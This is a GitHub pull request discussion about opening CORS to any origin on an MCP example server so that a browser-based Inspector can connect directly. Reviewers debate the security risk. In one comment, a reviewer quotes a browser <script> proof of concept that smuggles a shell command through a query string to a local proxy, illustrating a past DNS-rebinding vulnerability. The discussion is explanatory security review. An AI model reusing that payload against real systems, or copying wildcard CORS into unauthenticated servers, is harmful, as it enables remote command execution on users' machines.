-
Notifications
You must be signed in to change notification settings - Fork 9.1k
Open CORS for any origin to allow direct browser connection #2725
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open CORS for any origin to allow direct browser connection #2725
Conversation
- import cors
- use cors with config allowing any origin + GET/POST
* In src/everything/streamableHttp.ts
- import cors
- use cors with config allowing any origin + GET/POST/DELETE, and exposed protocol headers for client to read
* In package.json and package-lock.json
- add cors as a dependency
- add @types/cors as dev dependency
Added caution note for using '*' in CORS origin.
domdomegg
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Generally looks good. Based on my understanding of CORS, I think this should be fine for this server, although if someone has thought more about security implications may be worth getting them to double check.
felixweinberger
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can we make the CORS config less permissive? + @domdomegg's comment about the console.log
|
|
||
| const app = express(); | ||
| app.use(cors({ | ||
| "origin": "*", // use "*" with caution in production |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should we restrict this at least a little to localhost:6274?
The reason we need this is only to allow the inspector to work right? I think it's a little too easy for folks to copy paste this server as a starting point and end up with a too permissive CORS policy without ever seeing this comment.
Maybe a comment // enables inspector to connect instead? Would that work for your demo use case?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We could but is there an actual reason for this? In the auth-wg-devx meeting earlier we discussed this and no one could think of a reason why it shouldn't be fully open. If you curl this or use a desktop client, you don't have the cors blocking. There's no obvious XSS vector. And also there was discussion about hosting a version of the inspector. If that happened, then it wouldn't be from that URL. Further, if someone is running the inspector in a container and has chosen to expose 6274 on a different host port, you have a problem.
Finally, in the hosted version of this server that the core team forked to work on an auth example, they have it fully open:
https://github.com/modelcontextprotocol/example-remote-server/blob/main/src/index.ts#L101
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I added // Enable CORS for all routes so Inspector can connect as a comment in both sse.ts and streamableHttp.ts and also // use "*" with caution in production
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not enough of a security expert to push back hard here, but I'm just reminded of the vulnerability we had originally addressed with modelcontextprotocol/inspector@50df0e1 hence asking the question here to be sure.
I believe if you visit evil-website.com while you have your local unauthed dev server running, it could theoretically make requests to it and execute tools with this approach (assuming it knows the port - it might try common ones like 8000 and 8080).
If you've discussed this in auth-wg and we're also giving this as an example remote server, those are convincing points to not block here for me.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@felixweinberger The vulnerability you mention was with the proxy and had two prongs: 0.0.0.0 DNS rebinding that allowed evil-website.com to momentarily change its DNS to point to 0.0.0.0 causing the proxy to think it was actually our inspector, AND being able to tell the proxy to run an arbitrary shell command as an stdio server with the query string.
<script>
fetch("http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited-from-the-browser", {
"headers": {
"accept": "*/*",
"accept-language": "en-US,en;q=0.9",
"cache-control": "no-cache",
"pragma": "no-cache"
},
"referrer": "http://127.0.0.1:6274/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "no-cors",
"credentials": "omit"
})
</script>Having cors('*') in this example server doesn't equate to that possibility. Something in the browser could connect and execute tools if it knew you had a server there (i.e., the inspector), or it could probe as you suggested. But you wouldn't leave an http mcp server up and running locally for anything but testing purposes. STDIO servers, you'd run locally, but those would not be accessible in this way but rather run within local processes, such as the proxy, which is now locked down on that front.
I do think that the comments about using cors('*') with caution in production should be enough for this example server.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Fair enough!
- remove remove unintentional console log
- add comment about why opening cors for all routes
- add comment about using * with caution in production for cors
- indent on cors config
Description
Server Details
Motivation and Context
For demonstrating direct browser connection capability to be introduced in Inspector. The PR for that functionality is on this PR.
How Has This Been Tested?
With the Inspector using the branch that adds a Direct connection type, which bypasses the Inspector proxy.
Direct SSE Connection From Inspector
Direct StreamableHttp Connection From Inspector
Proxied SSE Connection From Inspector
Proxied StreamableHttp Connection From Inspector
Breaking Changes
Nope.
Types of changes
Checklist
Additional context